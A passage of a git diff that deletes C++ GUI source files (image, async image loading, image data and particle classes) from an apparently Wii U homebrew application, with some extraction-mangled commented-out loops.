//!Draws all the elements in this GuiFrame - void draw(CVideo * v); - //!Updates the window and all elements contains within - //!Allows the GuiFrame and all elements to respond to the input data specified - //!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD - void update(GuiController * t); - //!virtual Close Window - this will put the object on the delete queue in MainWindow - virtual void close(); - //!virtual show window function - virtual void show() {} - //!virtual hide window function - virtual void hide() {} - //!virtual enter main loop function (blocking) - virtual void exec() {} - //!virtual updateEffects which is called by the main loop - virtual void updateEffects(); - //! Signals - //! On Closing - sigslot::signal1 closing; - protected: - bool dim; //! Enable/disable dim of a window only - GuiFrame *parent; //!< Parent Window - std::vector elements; //!< Contains all elements within the GuiFrame - - void updateElementList(void); - - struct ListChangeElement - { - bool addElement; - int position; - GuiElement *element; - }; - std::queue listChangeQueue; - CMutex queueMutex; -}; - -#endif diff --git a/src/gui/GuiImage.cpp b/src/gui/GuiImage.cpp deleted file mode 100644 index d80001d..0000000 --- a/src/gui/GuiImage.cpp +++ /dev/null @@ -1,289 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include "GuiImage.h" -#include "video/CVideo.h" -#include "video/shaders/Texture2DShader.h" -#include "video/shaders/ColorShader.h" - -static const f32 fPiDiv180 = ((f32)M_PI / 180.0f); - -GuiImage::GuiImage(GuiImageData * img) -{ - if(img && img->getTexture()) - { - width = img->getWidth(); - height = img->getHeight(); - } - - internalInit(width, height); - imageData = img; -} - -GuiImage::GuiImage(int w, int h, const GX2Color & c, int type) -{ - internalInit(w, h); - imgType = type; - colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize; - - colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize); - if(colorVtxs) - { - for(u32 i = 0; i < colorCount; i++) - setImageColor(c, i); - } -} - -GuiImage::GuiImage(int w, int h, const GX2Color *c, u32 color_count, int type) -{ - internalInit(w, h); - imgType = type; - colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize; - if(colorCount < color_count) - colorCount = color_count; - - colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize); - if(colorVtxs) - { - for(u32 i = 0; i < colorCount; i++) - { - // take the last as reference if not enough colors defined - int idx = (i < color_count) ? i : (color_count - 1); - setImageColor(c[idx], i); - } - } -} - -/** - * Destructor for the GuiImage class. - */ -GuiImage::~GuiImage() -{ - if(colorVtxs) { - free(colorVtxs); - colorVtxs = NULL; - } -} - -void GuiImage::internalInit(int w, int h) -{ - imageData = NULL; - width = w; - height = h; - tileHorizontal = -1; - tileVertical = -1; - imgType = IMAGE_TEXTURE; - colorVtxsDirty = false; - colorVtxs = NULL; - colorCount = 0; - posVtxs = NULL; - texCoords = NULL; - vtxCount = 4; - primitive = GX2_PRIMITIVE_MODE_QUADS; - - imageAngle = 0.0f; - blurDirection = glm::vec3(0.0f); - positionOffsets = glm::vec3(0.0f); - scaleFactor = glm::vec3(1.0f); - colorIntensity = glm::vec4(1.0f); -} - -void GuiImage::setImageData(GuiImageData * img) -{ - imageData = img; - width = 0; - height = 0; - if(img && img->getTexture()) - { - width = img->getWidth(); - height = img->getHeight(); - } - imgType = IMAGE_TEXTURE; -} - -GX2Color GuiImage::getPixel(int x, int y) -{ - if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight()) - return (GX2Color){0, 0, 0, 0}; - - u32 pitch = imageData->getTexture()->surface.pitch; - u32 *imagePtr = (u32*)imageData->getTexture()->surface.image; - - u32 color_u32 = imagePtr[y * pitch + x]; - GX2Color color; - color.r = (color_u32 >> 24) & 0xFF; - color.g = (color_u32 >> 16) & 0xFF; - color.b = (color_u32 >> 8) & 0xFF; - color.a = (color_u32 >> 0) & 0xFF; - return color; -} - -void GuiImage::setPixel(int x, int y, const GX2Color & color) -{ - if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight()) - return; - - - u32 pitch = imageData->getTexture()->surface.pitch; - u32 *imagePtr = (u32*)imageData->getTexture()->surface.image; - imagePtr[y * pitch + x] = (color.r << 24) | (color.g << 16) | (color.b << 8) | (color.a << 0); -} - -void GuiImage::setImageColor(const GX2Color & c, int idx) -{ - if(!colorVtxs) { - return; - } - - if(idx >= 0 && idx < (int)colorCount) - { - colorVtxs[(idx << 2) + 0] = c.r; - colorVtxs[(idx << 2) + 1] = c.g; - colorVtxs[(idx << 2) + 2] = c.b; - colorVtxs[(idx << 2) + 3] = c.a; - colorVtxsDirty = true; - } - else if(colorVtxs) - { - for(u32 i = 0; i < (ColorShader::cuColorVtxsSize / sizeof(u8)); i += 4) - { - colorVtxs[i + 0] = c.r; - colorVtxs[i + 1] = c.g; - colorVtxs[i + 2] = c.b; - colorVtxs[i + 3] = c.a; - } - colorVtxsDirty = true; - } -} - -void GuiImage::setSize(int w, int h) -{ - width = w; - height = h; -} - -void GuiImage::setPrimitiveVertex(s32 prim, const f32 *posVtx, const f32 *texCoord, u32 vtxcount) -{ - primitive = prim; - vtxCount = vtxcount; - posVtxs = posVtx; - texCoords = texCoord; - - if(imgType == IMAGE_COLOR) - { - u8 * newColorVtxs = (u8 *) memalign(0x40, ColorShader::cuColorAttrSize * vtxCount); - - for(u32 i = 0; i < vtxCount; i++) - { - int newColorIdx = (i << 2); - int colorIdx = (i < colorCount) ? (newColorIdx) : ((colorCount - 1) << 2); - - newColorVtxs[newColorIdx + 0] = colorVtxs[colorIdx + 0]; - newColorVtxs[newColorIdx + 1] = colorVtxs[colorIdx + 1]; - newColorVtxs[newColorIdx + 2] = colorVtxs[colorIdx + 2]; - newColorVtxs[newColorIdx + 3] = colorVtxs[colorIdx + 3]; - } - - free(colorVtxs); - colorVtxs = newColorVtxs; - colorCount = vtxCount; - colorVtxsDirty = true; - } -} - -void GuiImage::draw(CVideo *pVideo) -{ - if(!this->isVisible() || tileVertical == 0 || tileHorizontal == 0) - return; - - f32 currScaleX = getScaleX(); - f32 currScaleY = getScaleY(); - - positionOffsets[0] = getCenterX() * pVideo->getWidthScaleFactor() * 2.0f; - positionOffsets[1] = getCenterY() * pVideo->getHeightScaleFactor() * 2.0f; - positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f; - - scaleFactor[0] = currScaleX * getWidth() * pVideo->getWidthScaleFactor(); - scaleFactor[1] = currScaleY * getHeight() * pVideo->getHeightScaleFactor(); - scaleFactor[2] = getScaleZ(); - - //! add other colors intensities parameters - colorIntensity[3] = getAlpha(); - - //! angle of the object - imageAngle = DegToRad(getAngle()); - -// if(image && tileHorizontal > 0 && tileVertical > 0) -// { -// for(int n=0; n 0) -// { -// for(int i=0; i 0) -// { -// for(int i=0; isetShaders(); - ColorShader::instance()->setAttributeBuffer(colorVtxs, posVtxs, vtxCount); - ColorShader::instance()->setAngle(imageAngle); - ColorShader::instance()->setOffset(positionOffsets); - ColorShader::instance()->setScale(scaleFactor); - ColorShader::instance()->setColorIntensity(colorIntensity); - ColorShader::instance()->draw(primitive, vtxCount); - } - else if(imageData) - { - Texture2DShader::instance()->setShaders(); - Texture2DShader::instance()->setAttributeBuffer(texCoords, posVtxs, vtxCount); - Texture2DShader::instance()->setAngle(imageAngle); - Texture2DShader::instance()->setOffset(positionOffsets); - Texture2DShader::instance()->setScale(scaleFactor); - Texture2DShader::instance()->setColorIntensity(colorIntensity); - Texture2DShader::instance()->setBlurring(blurDirection); - Texture2DShader::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler()); - Texture2DShader::instance()->draw(primitive, vtxCount); - } -} diff --git a/src/gui/GuiImage.h b/src/gui/GuiImage.h deleted file mode 100644 index 88f7fbe..0000000 --- a/src/gui/GuiImage.h +++ /dev/null @@ -1,110 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_IMAGE_H_ -#define GUI_IMAGE_H_ - -#include "video/shaders/Shader.h" -#include "GuiElement.h" -#include "GuiImageData.h" - -//!Display, manage, and manipulate images in the GUI -class GuiImage : public GuiElement -{ -public: - enum ImageTypes - { - IMAGE_TEXTURE, - IMAGE_COLOR - }; - - //!\overload - //!\param img Pointer to GuiImageData element - GuiImage(GuiImageData * img); - //!\overload - //!Creates an image filled with the specified color - //!\param w Image width - //!\param h Image height - //!\param c Array with 4 x image color (BL, BR, TL, TR) - GuiImage(int w, int h, const GX2Color & c, int imgType = IMAGE_COLOR); - GuiImage(int w, int h, const GX2Color * c, u32 colorCount = 1, int imgType = IMAGE_COLOR); - //!Destructor - virtual ~GuiImage(); - //!Sets the number of times to draw the image horizontally - //!\param t Number of times to draw the image - void setTileHorizontal(int t) { tileHorizontal = t; } - //!Sets the number of times to draw the image vertically - //!\param t Number of times to draw the image - void setTileVertical(int t) { tileVertical = t; } - //!Constantly called to draw the image - void draw(CVideo *pVideo); - //!Gets the image data - //!\return pointer to image data - GuiImageData * getImageData() const { return imageData; } - //!Sets up a new image using the GuiImageData object specified - //!\param img Pointer to GuiImageData object - void setImageData(GuiImageData * img); - //!Gets the pixel color at the specified coordinates of the image - //!\param x X coordinate - //!\param y Y coordinate - GX2Color getPixel(int x, int y); - //!Sets the pixel color at the specified coordinates of the image - //!\param x X coordinate - //!\param y Y coordinate - //!\param color Pixel color - void setPixel(int x, int y, const GX2Color & color); - //!Change ImageColor - void setImageColor(const GX2Color & c, int idx = -1); - //!Change ImageColor - void setSize(int w, int h); - - void setPrimitiveVertex(s32 prim, const f32 *pos, const f32 *tex, u32 count); - - void setBlurDirection(u8 dir, f32 value) - { - if(dir < 2) { - blurDirection[dir] = value; - } - } - void setColorIntensity(const glm::vec4 & col) - { - colorIntensity = col; - } -protected: - void internalInit(int w, int h); - - int imgType; //!< Type of image data (IMAGE_TEXTURE, IMAGE_COLOR, IMAGE_DATA) - GuiImageData * imageData; //!< Poiner to image data. May be shared with GuiImageData data - int tileHorizontal; //!< Number of times to draw (tile) the image horizontally - int tileVertical; //!< Number of times to draw (tile) the image vertically - - //! Internally used variables for rendering - u8 *colorVtxs; - u32 colorCount; - bool colorVtxsDirty; - glm::vec3 positionOffsets; - glm::vec3 scaleFactor; - glm::vec4 colorIntensity; - f32 imageAngle; - glm::vec3 blurDirection; - - const f32 * posVtxs; - const f32 * texCoords; - u32 vtxCount; - s32 primitive; -}; - -#endif diff --git a/src/gui/GuiImageAsync.cpp b/src/gui/GuiImageAsync.cpp deleted file mode 100644 index 78208b9..0000000 --- a/src/gui/GuiImageAsync.cpp +++ /dev/null @@ -1,172 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include "GuiImageAsync.h" -#include "fs/fs_utils.h" - -std::vector GuiImageAsync::imageQueue; -CThread * GuiImageAsync::pThread = NULL; -CMutex * GuiImageAsync::pMutex = NULL; -u32 GuiImageAsync::threadRefCounter = 0; -bool GuiImageAsync::bExitRequested = false; -GuiImageAsync * GuiImageAsync::pInUse = NULL; - -GuiImageAsync::GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg) - : GuiImage(preloadImg) - , imgData(NULL) - , imgBuffer(imageBuffer) - , imgBufferSize(imageBufferSize) -{ - threadInit(); - threadAddImage(this); -} - -GuiImageAsync::GuiImageAsync(const std::string & file, GuiImageData * preloadImg) - : GuiImage(preloadImg) - , imgData(NULL) - , filename(file) - , imgBuffer(NULL) - , imgBufferSize(0) -{ - threadInit(); - threadAddImage(this); -} - -GuiImageAsync::~GuiImageAsync() -{ - threadRemoveImage(this); - while(pInUse == this) - usleep(1000); - - if (imgData) - delete imgData; - - threadExit(); -} - -void GuiImageAsync::threadAddImage(GuiImageAsync *Image) -{ - pMutex->lock(); - imageQueue.push_back(Image); - pMutex->unlock(); - pThread->resumeThread(); -} - -void GuiImageAsync::threadRemoveImage(GuiImageAsync *image) -{ - pMutex->lock(); - for(u32 i = 0; i < imageQueue.size(); ++i) - { - if(imageQueue[i] == image) - { - imageQueue.erase(imageQueue.begin() + i); - break; - } - } - pMutex->unlock(); -} - -void GuiImageAsync::clearQueue() -{ - pMutex->lock(); - imageQueue.clear(); - pMutex->unlock(); -} - -void GuiImageAsync::guiImageAsyncThread(CThread *thread, void *arg) -{ - while(!bExitRequested) - { - if(imageQueue.empty() && !bExitRequested) - pThread->suspendThread(); - - if(!imageQueue.empty() && !bExitRequested) - { - pMutex->lock(); - pInUse = imageQueue.front(); - imageQueue.erase(imageQueue.begin()); - pMutex->unlock(); - - if (!pInUse) - continue; - - - if(pInUse->imgBuffer && pInUse->imgBufferSize) - { - pInUse->imgData = new GuiImageData(pInUse->imgBuffer, pInUse->imgBufferSize); - } - else - { - u8 *buffer = NULL; - u32 bufferSize = 0; - - int iResult = LoadFileToMem(pInUse->filename.c_str(), &buffer, &bufferSize); - if(iResult > 0) - { - pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MODE_MIRROR); - - //! free original image buffer which is converted to texture now and not needed anymore - free(buffer); - } - } - - if(pInUse->imgData) - { - if(pInUse->imgData->getTexture()) - { - pInUse->width = pInUse->imgData->getWidth(); - pInUse->height = pInUse->imgData->getHeight(); - pInUse->imageData = pInUse->imgData; - } - else - { - delete pInUse->imgData; - pInUse->imgData = NULL; - } - } - - pInUse = NULL; - } - } -} - -void GuiImageAsync::threadInit() -{ - if (pThread == NULL) - { - bExitRequested = false; - pMutex = new CMutex(); - pThread = CThread::create(GuiImageAsync::guiImageAsyncThread, NULL, CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 10); - pThread->resumeThread(); - } - - ++threadRefCounter; -} - -void GuiImageAsync::threadExit() -{ - --threadRefCounter; - - if((threadRefCounter == 0) && (pThread != NULL)) - { - bExitRequested = true; - delete pThread; - delete pMutex; - pThread = NULL; - pMutex = NULL; - } -} diff --git a/src/gui/GuiImageAsync.h b/src/gui/GuiImageAsync.h deleted file mode 100644 index 939a2c6..0000000 --- a/src/gui/GuiImageAsync.h +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef _GUIIMAGEASYNC_H_ -#define _GUIIMAGEASYNC_H_ - -#include -#include "GuiImage.h" -#include "system/CThread.h" -#include "system/CMutex.h" - -class GuiImageAsync : public GuiImage -{ - public: - GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg); - GuiImageAsync(const std::string & filename, GuiImageData * preloadImg); - virtual ~GuiImageAsync(); - - static void clearQueue(); - static void removeFromQueue(GuiImageAsync * image) { - threadRemoveImage(image); - } - private: - static void threadInit(); - static void threadExit(); - - GuiImageData *imgData; - std::string filename; - const u8 *imgBuffer; - const u32 imgBufferSize; - - static void guiImageAsyncThread(CThread *thread, void *arg); - static void threadAddImage(GuiImageAsync* Image); - static void threadRemoveImage(GuiImageAsync* Image); - - static std::vector imageQueue; - static CThread *pThread; - static CMutex * pMutex; - static u32 threadRefCounter; - static GuiImageAsync * pInUse; - static bool bExitRequested; -}; - -#endif /*_GUIIMAGEASYNC_H_*/ diff --git a/src/gui/GuiImageData.cpp b/src/gui/GuiImageData.cpp deleted file mode 100644 index b0c51af..0000000 --- a/src/gui/GuiImageData.cpp +++ /dev/null @@ -1,209 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "GuiImageData.h" -#include "system/memory.h" -#include "video/CVideo.h" -#include "common/gx2_ext.h" -/** - * Constructor for the GuiImageData class. - */ -GuiImageData::GuiImageData() -{ - texture = NULL; - sampler = NULL; - memoryType = eMemTypeMEM2; -} - -/** - * Constructor for the GuiImageData class. - */ -GuiImageData::GuiImageData(const u8 * img, int imgSize, GX2TexClampMode textureClamp, GX2SurfaceFormat textureFormat) -{ - texture = NULL; - sampler = NULL; - loadImage(img, imgSize, textureClamp, textureFormat); -} - -/** - * Destructor for the GuiImageData class. - */ -GuiImageData::~GuiImageData() -{ - releaseData(); -} - -void GuiImageData::releaseData(void) -{ - if(texture) { - if(texture->surface.image) - { - switch(memoryType) - { - default: - case eMemTypeMEM2: - free(texture->surface.image); - break; - case eMemTypeMEM1: - MEM1_free(texture->surface.image); - break; - case eMemTypeMEMBucket: - MEMBucket_free(texture->surface.image); - break; - } - } - delete texture; - texture = NULL; - } - if(sampler) { - delete sampler; - sampler = NULL; - } -} - -void GuiImageData::loadImage(const u8 *img, int imgSize, GX2TexClampMode textureClamp, GX2SurfaceFormat textureFormat) -{ - if(!img || (imgSize < 8)) - return; - - releaseData(); - gdImagePtr gdImg = 0; - - if (img[0] == 0xFF && img[1] == 0xD8) - { - //! not needed for now therefore comment out to safe ELF size - //! if needed uncomment, adds 200 kb to the ELF size - // IMAGE_JPEG - //gdImg = gdImageCreateFromJpegPtr(imgSize, (u8*) img); - } - else if (img[0] == 'B' && img[1] == 'M') - { - // IMAGE_BMP - //gdImg = gdImageCreateFromBmpPtr(imgSize, (u8*) img); - } - else if (img[0] == 0x89 && img[1] == 'P' && img[2] == 'N' && img[3] == 'G') - { - // IMAGE_PNG - gdImg = gdImageCreateFromPngPtr(imgSize, (u8*) img); - } - //!This must be last since it can also intefere with outher formats - else if(img[0] == 0x00) - { - // Try loading TGA image - //gdImg = gdImageCreateFromTgaPtr(imgSize, (u8*) img); - } - - if(gdImg == 0) - return; - - u32 width = (gdImageSX(gdImg)); - u32 height = (gdImageSY(gdImg)); - - //! Initialize texture - texture = new GX2Texture; - GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_LINEAR_ALIGNED); - - //! if this fails something went horribly wrong - if(texture->surface.imageSize == 0) { - delete texture; - texture = NULL; - gdImageDestroy(gdImg); - return; - } - - //! allocate memory for the surface - memoryType = eMemTypeMEM2; - texture->surface.image = memalign(texture->surface.alignment, texture->surface.imageSize); - //! try MEM1 on failure - if(!texture->surface.image) { - memoryType = eMemTypeMEM1; - texture->surface.image = MEM1_alloc(texture->surface.imageSize, texture->surface.alignment); - } - //! try MEM bucket on failure - if(!texture->surface.image) { - memoryType = eMemTypeMEMBucket; - texture->surface.image = MEMBucket_alloc(texture->surface.imageSize, texture->surface.alignment); - } - //! check if memory is available for image - if(!texture->surface.image) { - gdImageDestroy(gdImg); - delete texture; - texture = NULL; - return; - } - //! set mip map data pointer - texture->surface.mipmaps = NULL; - //! convert image to texture - switch(textureFormat) - { - default: - case GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8: - gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image, texture->surface.width, texture->surface.height, texture->surface.pitch); - break; - case GX2_SURFACE_FORMAT_UNORM_R5_G6_B5: - gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image, texture->surface.width, texture->surface.height, texture->surface.pitch); - break; - } - - //! free memory of image as its not needed anymore - gdImageDestroy(gdImg); - - //! invalidate the memory - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_TEXTURE, texture->surface.image, texture->surface.imageSize); - //! initialize the sampler - sampler = new GX2Sampler; - GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_MODE_LINEAR); -} - -void GuiImageData::gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch) -{ - for(u32 y = 0; y < height; ++y) - { - for(u32 x = 0; x < width; ++x) - { - u32 pixel = gdImageGetPixel(gdImg, x, y); - - u8 a = 254 - 2*((u8)gdImageAlpha(gdImg, pixel)); - if(a == 254) a++; - - u8 r = gdImageRed(gdImg, pixel); - u8 g = gdImageGreen(gdImg, pixel); - u8 b = gdImageBlue(gdImg, pixel); - - imgBuffer[y * pitch + x] = (r << 24) | (g << 16) | (b << 8) | (a); - } - } -} - -//! TODO: figure out why this seems to not work correct yet -void GuiImageData::gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch) -{ - for(u32 y = 0; y < height; ++y) - { - for(u32 x = 0; x < width; ++x) - { - u32 pixel = gdImageGetPixel(gdImg, x, y); - - u8 r = gdImageRed(gdImg, pixel); - u8 g = gdImageGreen(gdImg, pixel); - u8 b = gdImageBlue(gdImg, pixel); - - imgBuffer[y * pitch + x] = ((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3); - } - } -} diff --git a/src/gui/GuiImageData.h b/src/gui/GuiImageData.h deleted file mode 100644 index 78781ca..0000000 --- a/src/gui/GuiImageData.h +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_IMAGEDATA_H_ -#define GUI_IMAGEDATA_H_ - -#include -#include -#include -#include -#include "system/AsyncDeleter.h" - -class GuiImageData : public AsyncDeleter::Element -{ -public: - //!Constructor - GuiImageData(); - //!\param img Image data - //!\param imgSize The image size - GuiImageData(const u8 * img, int imgSize, GX2TexClampMode textureClamp = GX2_TEX_CLAMP_MODE_CLAMP, GX2SurfaceFormat textureFormat = GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8); - //!Destructor - virtual ~GuiImageData(); - //!Load image from buffer - //!\param img Image data - //!\param imgSize The image size - void loadImage(const u8 * img, int imgSize, GX2TexClampMode textureClamp = GX2_TEX_CLAMP_MODE_CLAMP, GX2SurfaceFormat textureFormat = GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8); - //! getter functions - const GX2Texture * getTexture() const { return texture; }; - const GX2Sampler * getSampler() const { return sampler; }; - //!Gets the image width - //!\return image width - int getWidth() const { if(texture) return texture->surface.width; else return 0; }; - //!Gets the image height - //!\return image height - int getHeight() const { if(texture) return texture->surface.height; else return 0; }; - //! release memory of the image data - void releaseData(void); -private: - void gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch); - void gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch); - - GX2Texture *texture; - GX2Sampler *sampler; - - enum eMemoryTypes - { - eMemTypeMEM2, - eMemTypeMEM1, - eMemTypeMEMBucket - }; - - u8 memoryType; -}; - -#endif diff --git a/src/gui/GuiParticleImage.cpp b/src/gui/GuiParticleImage.cpp deleted file mode 100644 index 2cfe527..0000000 --- a/src/gui/GuiParticleImage.cpp +++ /dev/null @@ -1,128 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include "GuiParticleImage.h" -#include "video/CVideo.h" -#include "video/shaders/ColorShader.h" - -#define CIRCLE_VERTEX_COUNT 36 - -static inline f32 getRandZeroToOneF32() -{ - return (rand() % 10000) * 0.0001f; -} - -static inline f32 getRandMinusOneToOneF32() -{ - return getRandZeroToOneF32() * 2.0f - 1.0f; -} - -GuiParticleImage::GuiParticleImage(int w, int h, u32 particleCount) - : GuiImage(NULL) -{ - width = w; - height = h; - imgType = IMAGE_COLOR; - - posVertexs = (f32 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); - colorVertexs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); - - for(u32 i = 0; i < CIRCLE_VERTEX_COUNT; i++) - { - posVertexs[i * 3 + 0] = cosf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT)); - posVertexs[i * 3 + 1] = sinf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT)); - posVertexs[i * 3 + 2] = 0.0f; - - colorVertexs[i * 4 + 0] = 0xff; - colorVertexs[i * 4 + 1] = 0xff; - colorVertexs[i * 4 + 2] = 0xff; - colorVertexs[i * 4 + 3] = 0xff; - } - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); - - particles.resize(particleCount); - - for(u32 i = 0; i < particleCount; i++) - { - particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f; - particles[i].position.y = getRandMinusOneToOneF32() * getHeight() * 0.5f; - particles[i].position.z = 0.0f; - particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f); - particles[i].radius = getRandZeroToOneF32() * 30.0f; - particles[i].speed = (getRandZeroToOneF32() * 0.6f) + 0.2f; - particles[i].direction = getRandMinusOneToOneF32(); - } -} - -GuiParticleImage::~GuiParticleImage() -{ - free(posVertexs); - free(colorVertexs); -} - -void GuiParticleImage::draw(CVideo *pVideo) -{ - if(!this->isVisible()) - return; - - - f32 currScaleX = getScaleX(); - f32 currScaleY = getScaleY(); - - positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f; - - scaleFactor[2] = getScaleZ(); - - //! add other colors intensities parameters - colorIntensity[3] = getAlpha(); - - for(u32 i = 0; i < particles.size(); ++i) - { - if(particles[i].position.y > (getHeight() * 0.5f + 30.0f)) - { - particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f; - particles[i].position.y = -getHeight() * 0.5f - 30.0f; - particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f); - particles[i].radius = getRandZeroToOneF32() * 30.0f; - particles[i].speed = (getRandZeroToOneF32() * 0.6f) + 0.2f; - particles[i].direction = getRandMinusOneToOneF32(); - } - if(particles[i].position.x < (-getWidth() * 0.5f - 50.0f)) - { - particles[i].position.x = -particles[i].position.x; - } - - - particles[i].direction += getRandMinusOneToOneF32() * 0.03f; - particles[i].position.x += particles[i].speed * particles[i].direction; - particles[i].position.y += particles[i].speed; - - positionOffsets[0] = (getCenterX() + particles[i].position.x) * pVideo->getWidthScaleFactor() * 2.0f; - positionOffsets[1] = (getCenterY() + particles[i].position.y) * pVideo->getHeightScaleFactor() * 2.0f; - - scaleFactor[0] = currScaleX * particles[i].radius * pVideo->getWidthScaleFactor(); - scaleFactor[1] = currScaleY * particles[i].radius * pVideo->getHeightScaleFactor(); - - ColorShader::instance()->setShaders(); - ColorShader::instance()->setAttributeBuffer(colorVertexs, posVertexs, CIRCLE_VERTEX_COUNT); - ColorShader::instance()->setAngle(0.0f); - ColorShader::instance()->setOffset(positionOffsets); - ColorShader::instance()->setScale(scaleFactor); - ColorShader::instance()->setColorIntensity(colorIntensity * particles[i].colors); - ColorShader::instance()->draw(GX2_PRIMITIVE_MODE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT); - } -} diff --git 